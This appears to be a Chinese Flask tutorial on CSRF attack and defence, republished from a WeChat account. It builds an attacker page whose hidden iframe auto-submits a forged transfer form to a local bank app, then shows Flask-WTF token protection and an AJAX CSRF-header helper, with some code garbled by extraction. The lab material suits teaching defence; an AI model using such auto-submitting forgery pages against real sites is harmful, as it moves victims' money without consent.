CSRF攻击和防护(4)

3.攻击实例(evel.website.com)

初始化项目,这里使用的是JavaScript 控制黑客网站主动去发送已经登录银行用户的cookie 信息.实现转账.


├── app.py # 主文件
├── config.py # 配置文件
├── static # CSS,js文件
│   └── images
│   └── 10001.gif
└── templates # 渲染文件
├── index.html # 主页
└── transfer.html # 转账页面

app.py

from Flask import Flask
from flask import render_template
import config

app = Flask(__name__)
app.config.from_object(config)


@app.route('/')
def index():
 return render_template('index.html')

@app.route('/transfer/')
def transfer():
 return render_template('transfer.html')

if __name__ == '__main__':
 app.run(host='192.168.0.101', port=8080)

config.py

DEBUG=True
TEMPLATES_AUTO_RELOAD=True
SERVER_NAME="www.evel_website.com:8080"

index.html

<!DOCTYPE html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <title>首页</title>
 <style>
     .box {
         height100%;
         width100%;
     }
 
</style>

</head>

<body>
 <div class="box"><img src="{{ url_for('static', filename='images/10001.gif') }}" alt=""></div>
 <iframe style="height: 0;height: 0;" src="{{ url_for('transfer') }}" frameborder="0"></iframe>
</body>

</html>

这里引入了一个iframe 内联浏览器标签,并把高宽设置为0 ,实现了隐藏的任务,这样,访问主页会自动运行iframe 标签,跳转到转账页面.

transfer.html

<!DOCTYPE html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible" content="ie=edge">
 <title>Document</title>
 <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>

<body>
 <form action="http://127.0.0.1:5000/transfer/" method="POST" id='transfer'>
     <table>
         <tr>
             <td>转账金额:</td>
             <td><input type="text" name="transfer" value="1000"></td>
         </tr>
         <tr>
             <td>转账账户:</td>
             <!--- value  值 要是数据库中的真正的账户 -->
             <td><input type="text" name="transfer_name" value="traitor"></td>
         </tr>
     </table>
     <div class="box7">
         <input type="submit" value="确定转入">
     </div>
 </form>
 <script>
     $(function({
         $('#transfer').submit();
     });
 
</script>
</body>

</html>

这里实现了一个和127.0.0.1:5000/transfer/ 一样的post 表单,并利用JavaScript 实现了自动点击submit() 提交,实现了自动转账的功能.主要要使用同一个浏览器才能共用cookie

4.攻击

在登陆127.0.0.1:5000 的前提下,去访问192.168.0.101:8080网站,它利用了cookie 的原理去攻击127.0.0.1:5000 实现了账户的自动转账给traitor 用户.

CSRF攻击和防护(4)
csrf

5.防护

Flask 中表单的防护依靠的Flask_WTF ,它的实现是在session in cookie 中添加一个token.

它的基本原理是:

CSRF攻击和防护(4)
csrf1
  1. web server 会给登录的用户生成一个唯一的token 并放置到sessionhtml 表单中.
  2. 由于是唯一的token ,黑客不能拿到当前用户访问的html 页面的token
  3. 黑客伪造的transfer.html 页面,由于没有token ,就算使用了用户的session 也会被服务器丢弃.

Flask 中开启CSRF 防护很简单.参照FLask_WTF 官网只需要2步:

  1. 导入保护模块并绑定app
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)
  1. html 相关页面中加入token 信息.
<form method="post">
   <!-----   实现一个隐藏的input 标签,并出入token  ---> 
    <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
</form>

项目中开启app.py

.....
# 开启CSRF防护
from flask_wtf import CSRFProtect

app = Flask(__name__)
app.config.from_object(config)

# 绑定数据库
db.init_app(app)

# 绑定app
CSRFProtect(app)
....

base.html

....  
<form action="" method="post">
            <input type="hidden" name="{{ csrf_token() }}">
            {% block block_post %}

            {% endblock %}
        </form>
....

6.使用AJAX 提交数据

在账户登录时,不使用浏览器原生的提交方式,而是使用AJAX 提交数据给后台服务器,并保持网页不跳转.

login.html

{% extends 'base.html' %}
{% block block_title %}
 智商银行登录
{% endblock %}
{% block script %}
 <script>
     $(function(){
         // 阻止点击的默认行为
         $('#btn1').click(function (event{
             // 阻止默认行为
             console.log('1');
             event.preventDefault();
             // 获取数据
             var Dcsrf_token = $("input[name='csrf_token']").val();
             var Demail = $("input[name='email']").val();
             var Dpassword = $("input[name='password']").val();
             var Dlifetime = $("input[name='lifetime']").val();
             // javascript object
             var Data = {
                 csrf_token:Dcsrf_token,
                 email:Demail,
                 password:Dpassword,
                 lifetime:Dlifetime
             };
             console.log(Data);
             $.post({
                 url:{{ url_for('login') }},
                 data:Data, // 为了表单验证,发送JavaScript object 类型数据
                 success: function (data{
                     console.log(data);
                 }
             })
         });
     })
 
</script>
{% endblock %}
{% block block_post %}
 <div class="in_container">
     <div class="in_h2">
         <h2>登录</h2>
     </div>
     <div class="in_box">
         <div class="in_img">
             <img src="{{ url_for('static', filename='images/ico-user.png') }}" alt="user">
         </div>
         <div class="in_input_1">
             <input type="text" name="email" placeholder="邮箱账户">
         </div>
     </div>
     <div class="in_box">
         <div class="in_img">
             <img src="{{ url_for('static', filename='images/ico-password.png') }}" alt="passwd">
         </div>
         <div class="in_input_1">
              <input type="password" name="password" placeholder="密码">
         </div>
     </div>
     <div class="in_lifetime">
          <input type="checkbox" name="lifetime" value="十天免登录">十天免登录
     </div>
     <div class="in_submit">
         <input type="submit" value="登录" id="btn1">
     </div>
 </div>
 {{ info }}
{% endblock %}

需要注意的是:要把隐藏的input 标签的value 传递给后台.

var Dcsrf_token = $("input[name='csrf_token']").val();

但是这样还不是最简单的,因为每个有form 表单的页面都需要去手动添加一下csrf-token.参考flask_wtfajax 的结合.

可以在base.html 中添加meta 标签,用它来获取{{ csrf_token }},使用这种方法,可以在form 表单中省去写隐藏的input 标签

/*base.html*/
<head>
 <meta charset="UTF-8">
 /*添加如下*/
 <meta name="csrf-token" content="{{ csrf_token() }}">
 
....
 <form action="" method="post">
 /* 可以注销隐藏的input标签. */
  {# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>#}

根据以上内容,进一步简写,抽象成一个文件.

// csrfAjax.js
// create JavaScript object

var csrfAjax={
 getfunction (args{
     args['type'] = 'GET';
     this.ajax(args);
 },
 postfunction(args){
     args['type'] = 'POST';
     this.ajax(args);
 },
 ajaxfunction (args{
     // 添加csrf_token
     this._ajaxSetup();
     $.ajax(args);
 },
 _ajaxSetupfunction ({
     $.ajaxSetup({
         beforeSendfunction(xhr, settings{
             if (!/^(GET|HEAD|OPTIONS|TRACE)$/i.test(settings.type) && !this.crossDomain) {
                 // 获取 csrf_token,
                 // 需要注意的是 base.html 必须添加 meta 标签
                 var csrf_token = $("meta[name='csrf-token']").attr('content');
                 xhr.setRequestHeader("X-CSRFToken", csrf_token);
         }
     }
 });
 }
};

login.html

{# 在login.html 中引入定义好的 csrfAjax.js #}
{% block script %}
<script src="{{%20url_for('static',%20filename="js/csrfAjax.js") }}"></script>
<script>
$(function(){
// 阻止点击的默认行为
$('#btn1').click(function (event) {
// 阻止默认行为
console.log('1');
event.preventDefault();
// 获取数据
// var Dcsrf_token = $("input[name='csrf_token']").val();
// var Dcsrf_token = $("meta[name='csrf-token']").attr('content');
var Demail = $("input[name='email']").val();
var Dpassword = $("input[name='password']").val();
var Dlifetime = $("input[name='lifetime']").val();
// javascript object
var Data = {
email:Demail,
password:Dpassword,
lifetime:Dlifetime
};
console.log(Data);
{#$.post({#}
{# url:{{ url_for('login') }},#}
{# data:Data, // 为了表单验证,发送JavaScript object 类型数据#}
{# success: function (data) {#}
{# console.log(data);#}
{# }#}
{# }) #}

{# 使用导入的csrfAjax的方法 #}
csrfAjax.post({
url:{{ url_for('login') }},
data:Data, // 为了表单验证,发送JavaScript object 类型数据
success: function (data) {
console.log(data);
}
})
});
})
</script>
{% endblock %}

– END –


原文始发于微信公众号(Flask学习笔记):CSRF攻击和防护(4)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/36479.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!